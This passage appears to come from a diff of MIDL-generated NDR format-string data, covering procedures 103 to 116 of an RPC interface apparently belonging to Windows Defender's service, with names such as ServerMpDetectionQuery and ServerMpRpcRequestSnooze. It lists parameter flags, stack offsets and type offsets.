arg_5 */ + +/* 5790 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 5792 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 5794 */ NdrFcShort( 0x5e2 ), /* Type Offset=1506 */ + + /* Parameter arg_6 */ + +/* 5796 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 5798 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 5800 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 5802 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 5804 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 5806 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc103_ServerMpRpcTcgLogApplyExtResult */ + +/* 5808 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 5810 */ NdrFcLong( 0x0 ), /* 0 */ +/* 5814 */ NdrFcShort( 0x67 ), /* 103 */ +/* 5816 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 5818 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 5820 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 5822 */ NdrFcShort( 0x8 ), /* 8 */ +/* 5824 */ NdrFcShort( 0x24 ), /* 36 */ +/* 5826 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x4, /* 4 */ +/* 5828 */ 0xa, /* 10 */ + 0x5, /* Ext Flags: new corr desc, srv corr check, */ +/* 5830 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5832 */ NdrFcShort( 0x1 ), /* 1 */ +/* 5834 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5836 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 5838 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 5840 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 5842 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 5844 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 5846 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 5848 */ NdrFcShort( 0x8ca ), /* Type Offset=2250 */ + + /* Parameter arg_3 */ + +/* 5850 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 5852 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 5854 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 5856 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 5858 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 5860 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc104_ServerMpRpcDbgSendCallbackNotification */ + +/* 5862 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 5864 */ NdrFcLong( 0x0 ), /* 0 */ +/* 5868 */ NdrFcShort( 0x68 ), /* 104 */ +/* 5870 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 5872 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 5874 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 5876 */ NdrFcShort( 0x8 ), /* 8 */ +/* 5878 */ NdrFcShort( 0x24 ), /* 36 */ +/* 5880 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x4, /* 4 */ +/* 5882 */ 0xa, /* 10 */ + 0x5, /* Ext Flags: new corr desc, srv corr check, */ +/* 5884 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5886 */ NdrFcShort( 0x1 ), /* 1 */ +/* 5888 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5890 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 5892 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 5894 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 5896 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 5898 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 5900 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 5902 */ NdrFcShort( 0x3ca ), /* Type Offset=970 */ + + /* Parameter arg_3 */ + +/* 5904 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 5906 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 5908 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 5910 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 5912 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 5914 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc105_ServerMpRpcThreatRollup */ + +/* 5916 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 5918 */ NdrFcLong( 0x0 ), /* 0 */ +/* 5922 */ NdrFcShort( 0x69 ), /* 105 */ +/* 5924 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 5926 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 5928 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 5930 */ NdrFcShort( 0x10 ), /* 16 */ +/* 5932 */ NdrFcShort( 0x24 ), /* 36 */ +/* 5934 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x5, /* 5 */ +/* 5936 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 5938 */ NdrFcShort( 0x1 ), /* 1 */ +/* 5940 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5942 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5944 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 5946 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 5948 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 5950 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 5952 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 5954 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 5956 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 5958 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 5960 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 5962 */ NdrFcShort( 0x8da ), /* Type Offset=2266 */ + + /* Parameter arg_4 */ + +/* 5964 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 5966 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 5968 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 5970 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 5972 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 5974 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc106_ServerMpDetectionQuery */ + +/* 5976 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 5978 */ NdrFcLong( 0x0 ), /* 0 */ +/* 5982 */ NdrFcShort( 0x6a ), /* 106 */ +/* 5984 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 5986 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 5988 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 5990 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 5992 */ NdrFcShort( 0x68 ), /* 104 */ +/* 5994 */ NdrFcShort( 0x24 ), /* 36 */ +/* 5996 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x5, /* 5 */ +/* 5998 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 6000 */ NdrFcShort( 0x1 ), /* 1 */ +/* 6002 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6004 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6006 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 6008 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 6010 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 6012 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 6014 */ NdrFcShort( 0x10a ), /* Flags: must free, in, simple ref, */ +/* 6016 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 6018 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_2 */ + +/* 6020 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 6022 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 6024 */ NdrFcShort( 0x406 ), /* Type Offset=1030 */ + + /* Parameter arg_3 */ + +/* 6026 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 6028 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 6030 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 6032 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 6034 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 6036 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc107_ServerMpRpcRequestSnooze */ + +/* 6038 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 6040 */ NdrFcLong( 0x0 ), /* 0 */ +/* 6044 */ NdrFcShort( 0x6b ), /* 107 */ +/* 6046 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 6048 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 6050 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 6052 */ NdrFcShort( 0x8 ), /* 8 */ +/* 6054 */ NdrFcShort( 0x24 ), /* 36 */ +/* 6056 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 6058 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 6060 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6062 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6064 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6066 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 6068 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 6070 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 6072 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 6074 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 6076 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 6078 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 6080 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 6082 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 6084 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc108_ServerMpRpcOfflineScanInstall */ + +/* 6086 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 6088 */ NdrFcLong( 0x0 ), /* 0 */ +/* 6092 */ NdrFcShort( 0x6c ), /* 108 */ +/* 6094 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 6096 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 6098 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 6100 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6102 */ NdrFcShort( 0x24 ), /* 36 */ +/* 6104 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x2, /* 2 */ +/* 6106 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 6108 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6110 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6112 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6114 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 6116 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 6118 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 6120 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 6122 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 6124 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 6126 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc109_ServerMpRpcOfflineScanStatusQuery */ + +/* 6128 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 6130 */ NdrFcLong( 0x0 ), /* 0 */ +/* 6134 */ NdrFcShort( 0x6d ), /* 109 */ +/* 6136 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 6138 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 6140 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 6142 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6144 */ NdrFcShort( 0x24 ), /* 36 */ +/* 6146 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x3, /* 3 */ +/* 6148 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 6150 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6152 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6154 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6156 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 6158 */ NdrFcShort( 0x6113 ), /* Flags: must size, must free, out, simple ref, srv alloc size=24 */ +/* 6160 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 6162 */ NdrFcShort( 0x920 ), /* Type Offset=2336 */ + + /* Parameter arg_2 */ + +/* 6164 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 6166 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 6168 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 6170 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 6172 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 6174 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc110_ServerMpRpcTriggerHeartbeatOnDefenderDisable */ + +/* 6176 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 6178 */ NdrFcLong( 0x0 ), /* 0 */ +/* 6182 */ NdrFcShort( 0x6e ), /* 110 */ +/* 6184 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 6186 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 6188 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 6190 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6192 */ NdrFcShort( 0x24 ), /* 36 */ +/* 6194 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x3, /* 3 */ +/* 6196 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 6198 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6200 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6202 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6204 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 6206 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 6208 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 6210 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_2 */ + +/* 6212 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 6214 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 6216 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 6218 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 6220 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 6222 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc111_ServerMpRpcTriggerHeartbeatOnUninstall */ + +/* 6224 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 6226 */ NdrFcLong( 0x0 ), /* 0 */ +/* 6230 */ NdrFcShort( 0x6f ), /* 111 */ +/* 6232 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 6234 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 6236 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 6238 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6240 */ NdrFcShort( 0x24 ), /* 36 */ +/* 6242 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x2, /* 2 */ +/* 6244 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 6246 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6248 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6250 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6252 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 6254 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 6256 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 6258 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 6260 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 6262 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 6264 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc112_ServerMpRpcTriggerErrorHeartbeatReport */ + +/* 6266 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 6268 */ NdrFcLong( 0x0 ), /* 0 */ +/* 6272 */ NdrFcShort( 0x70 ), /* 112 */ +/* 6274 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 6276 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 6278 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 6280 */ NdrFcShort( 0x8 ), /* 8 */ +/* 6282 */ NdrFcShort( 0x24 ), /* 36 */ +/* 6284 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x6, /* 6 */ +/* 6286 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 6288 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6290 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6292 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6294 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 6296 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 6298 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 6300 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 6302 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 6304 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 6306 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_3 */ + +/* 6308 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 6310 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 6312 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_4 */ + +/* 6314 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 6316 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 6318 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_5 */ + +/* 6320 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 6322 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 6324 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 6326 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 6328 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 6330 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc113_ServerMpRpcTriggerHeartbeatReport */ + +/* 6332 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 6334 */ NdrFcLong( 0x0 ), /* 0 */ +/* 6338 */ NdrFcShort( 0x71 ), /* 113 */ +/* 6340 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 6342 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 6344 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 6346 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6348 */ NdrFcShort( 0x24 ), /* 36 */ +/* 6350 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x3, /* 3 */ +/* 6352 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 6354 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6356 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6358 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6360 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 6362 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 6364 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 6366 */ NdrFcShort( 0x930 ), /* Type Offset=2352 */ + + /* Parameter arg_2 */ + +/* 6368 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 6370 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 6372 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 6374 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 6376 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 6378 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc114_ServerMpRpcRemapCallistoDetections */ + +/* 6380 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 6382 */ NdrFcLong( 0x0 ), /* 0 */ +/* 6386 */ NdrFcShort( 0x72 ), /* 114 */ +/* 6388 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 6390 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 6392 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 6394 */ NdrFcShort( 0x8 ), /* 8 */ +/* 6396 */ NdrFcShort( 0x24 ), /* 36 */ +/* 6398 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x5, /* 5 */ +/* 6400 */ 0xa, /* 10 */ + 0x5, /* Ext Flags: new corr desc, srv corr check, */ +/* 6402 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6404 */ NdrFcShort( 0x1 ), /* 1 */ +/* 6406 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6408 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 6410 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 6412 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 6414 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_2 */ + +/* 6416 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 6418 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 6420 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 6422 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 6424 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 6426 */ NdrFcShort( 0x93c ), /* Type Offset=2364 */ + + /* Parameter arg_4 */ + +/* 6428 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 6430 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 6432 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 6434 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 6436 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 6438 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc115_ServerMpRpcGetCallistoDetections */ + +/* 6440 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 6442 */ NdrFcLong( 0x0 ), /* 0 */ +/* 6446 */ NdrFcShort( 0x73 ), /* 115 */ +/* 6448 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 6450 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 6452 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 6454 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6456 */ NdrFcShort( 0x40 ), /* 64 */ +/* 6458 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x4, /* 4 */ +/* 6460 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 6462 */ NdrFcShort( 0x1 ), /* 1 */ +/* 6464 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6466 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6468 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 6470 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 6472 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 6474 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 6476 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 6478 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 6480 */ NdrFcShort( 0x948 ), /* Type Offset=2376 */ + + /* Parameter arg_3 */ + +/* 6482 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 6484 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 6486 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 6488 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 6490 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 6492 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc116_ServerMpRpcIsAdlFallbackDue */ + +/* 6494 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 6496 */ NdrFcLong( 0x0 ), /* 0 */ +/* 6500 */ NdrFcShort( 0x74 ), /* 116 */ +/* 6502 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 6504 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 6506 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 6508 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6510 */ NdrFcShort( 0x40 ), /* 64 */ +/* 6512 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x4, /* 4 */ +/* 6514 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 6516 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6518 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6520 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6522 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 